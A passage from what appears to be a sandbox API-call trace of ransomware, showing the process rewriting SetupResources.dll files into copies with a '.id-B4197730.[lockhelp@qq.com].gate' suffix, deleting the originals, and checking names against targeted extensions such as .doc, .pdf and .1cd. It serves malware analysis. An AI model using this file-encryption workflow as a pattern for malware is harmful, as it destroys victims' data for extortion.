(lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.681] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1 [0110.681] CloseHandle (hObject=0x2c0) returned 1 [0110.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0110.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.681] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.681] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.682] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0110.687] GetLastError () returned 0x0 [0110.687] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1 [0110.746] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1 [0110.747] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.747] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.747] SetEndOfFile (hFile=0x320) returned 1 [0110.747] CloseHandle (hObject=0x320) returned 1 [0110.748] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.748] SetEndOfFile (hFile=0x2c0) returned 1 [0110.757] CloseHandle (hObject=0x2c0) returned 1 [0110.758] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.758] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0110.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.758] lstrlenW (lpString=".doc") returned 4 [0110.758] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.758] lstrlenW (lpString=".docx") returned 5 [0110.758] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.758] lstrlenW (lpString=".pdf") returned 4 [0110.758] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".xls") returned 4 [0110.759] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".xlsx") returned 5 [0110.759] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.759] lstrlenW (lpString=".ppt") returned 4 [0110.759] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString=".zip") returned 4 [0110.759] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".rar") returned 4 [0110.759] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".bz2") returned 4 [0110.759] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.759] lstrlenW (lpString=".7z") returned 3 [0110.759] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString=".dbf") returned 4 [0110.759] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString=".1cd") returned 4 [0110.759] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString=".jpg") returned 4 [0110.759] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.759] lstrlenW (lpString=".doc") returned 4 [0110.759] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".docx") returned 5 [0110.759] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.759] lstrlenW (lpString=".pdf") returned 4 [0110.759] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".xls") returned 4 [0110.759] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.759] lstrlenW (lpString=".xlsx") returned 5 [0110.760] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.760] lstrlenW (lpString=".ppt") returned 4 [0110.760] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.760] lstrlenW (lpString=".zip") returned 4 [0110.760] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.760] lstrlenW (lpString=".rar") returned 4 [0110.760] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.760] lstrlenW (lpString=".bz2") returned 4 [0110.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.760] lstrlenW (lpString=".7z") returned 3 [0110.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.760] lstrlenW (lpString=".dbf") returned 4 [0110.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.760] lstrlenW (lpString=".1cd") returned 4 [0110.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0110.760] lstrlenW (lpString=".jpg") returned 4 [0110.760] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.760] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.760] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.760] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.760] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=17240) returned 1 [0110.761] CloseHandle (hObject=0x2c0) returned 1 [0110.761] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0110.761] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.761] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.761] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0110.772] GetLastError () returned 0x0 [0110.772] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x4358, lpOverlapped=0x0) returned 1 [0110.801] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x4360, lpOverlapped=0x0) returned 1 [0110.802] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.802] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.802] SetEndOfFile (hFile=0x320) returned 1 [0110.802] CloseHandle (hObject=0x320) returned 1 [0110.804] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.804] SetEndOfFile (hFile=0x2c0) returned 1 [0110.805] CloseHandle (hObject=0x2c0) returned 1 [0110.805] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.806] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0110.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.806] lstrlenW (lpString=".doc") returned 4 [0110.806] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.806] lstrlenW (lpString=".docx") returned 5 [0110.806] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.806] lstrlenW (lpString=".pdf") returned 4 [0110.806] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.806] lstrlenW (lpString=".xls") returned 4 [0110.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.806] lstrlenW (lpString=".xlsx") returned 5 [0110.807] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.807] lstrlenW (lpString=".ppt") returned 4 [0110.807] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString=".zip") returned 4 [0110.807] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString=".rar") returned 4 [0110.807] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString=".bz2") returned 4 [0110.807] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.807] lstrlenW (lpString=".7z") returned 3 [0110.807] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString=".dbf") returned 4 [0110.807] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString=".1cd") returned 4 [0110.807] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString=".jpg") returned 4 [0110.807] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.807] lstrlenW (lpString=".doc") returned 4 [0110.807] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString=".docx") returned 5 [0110.807] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.807] lstrlenW (lpString=".pdf") returned 4 [0110.807] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString=".xls") returned 4 [0110.808] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.808] lstrlenW (lpString=".xlsx") returned 5 [0110.808] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.808] lstrlenW (lpString=".ppt") returned 4 [0110.808] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.808] lstrlenW (lpString=".zip") returned 4 [0110.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.808] lstrlenW (lpString=".rar") returned 4 [0110.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.808] lstrlenW (lpString=".bz2") returned 4 [0110.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.808] lstrlenW (lpString=".7z") returned 3 [0110.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.808] lstrlenW (lpString=".dbf") returned 4 [0110.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.808] lstrlenW (lpString=".1cd") returned 4 [0110.808] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0110.808] lstrlenW (lpString=".jpg") returned 4 [0110.808] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.809] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.809] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.826] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=16728) returned 1 [0110.826] CloseHandle (hObject=0x314) returned 1 [0110.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0110.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.827] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.827] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.831] GetLastError () returned 0x0 [0110.831] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x4158, lpOverlapped=0x0) returned 1 [0110.861] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x4160, lpOverlapped=0x0) returned 1 [0110.863] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.863] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.863] SetEndOfFile (hFile=0x2c0) returned 1 [0110.863] CloseHandle (hObject=0x2c0) returned 1 [0110.864] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.864] SetEndOfFile (hFile=0x314) returned 1 [0110.865] CloseHandle (hObject=0x314) returned 1 [0110.865] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.866] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0110.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.866] lstrlenW (lpString=".doc") returned 4 [0110.866] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.866] lstrlenW (lpString=".docx") returned 5 [0110.866] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.866] lstrlenW (lpString=".pdf") returned 4 [0110.866] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.866] lstrlenW (lpString=".xls") returned 4 [0110.866] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.866] lstrlenW (lpString=".xlsx") returned 5 [0110.866] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.866] lstrlenW (lpString=".ppt") returned 4 [0110.866] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.866] lstrlenW (lpString=".zip") returned 4 [0110.866] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString=".rar") returned 4 [0110.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString=".bz2") returned 4 [0110.867] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.867] lstrlenW (lpString=".7z") returned 3 [0110.867] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.867] lstrlenW (lpString=".dbf") returned 4 [0110.867] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.867] lstrlenW (lpString=".1cd") returned 4 [0110.867] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.867] lstrlenW (lpString=".jpg") returned 4 [0110.867] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.867] lstrlenW (lpString=".doc") returned 4 [0110.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString=".docx") returned 5 [0110.867] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.867] lstrlenW (lpString=".pdf") returned 4 [0110.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString=".xls") returned 4 [0110.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.867] lstrlenW (lpString=".xlsx") returned 5 [0110.867] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.868] lstrlenW (lpString=".ppt") returned 4 [0110.868] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.868] lstrlenW (lpString=".zip") returned 4 [0110.868] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.868] lstrlenW (lpString=".rar") returned 4 [0110.868] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.868] lstrlenW (lpString=".bz2") returned 4 [0110.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.868] lstrlenW (lpString=".7z") returned 3 [0110.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.868] lstrlenW (lpString=".dbf") returned 4 [0110.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.868] lstrlenW (lpString=".1cd") returned 4 [0110.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0110.868] lstrlenW (lpString=".jpg") returned 4 [0110.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.868] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.868] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.869] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=15704) returned 1 [0110.869] CloseHandle (hObject=0x314) returned 1 [0110.869] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0110.869] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.869] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.869] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0111.286] GetLastError () returned 0x0 [0111.286] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0111.368] WriteFile (in: hFile=0x2e0, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0111.369] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.369] WriteFile (in: hFile=0x2e0, 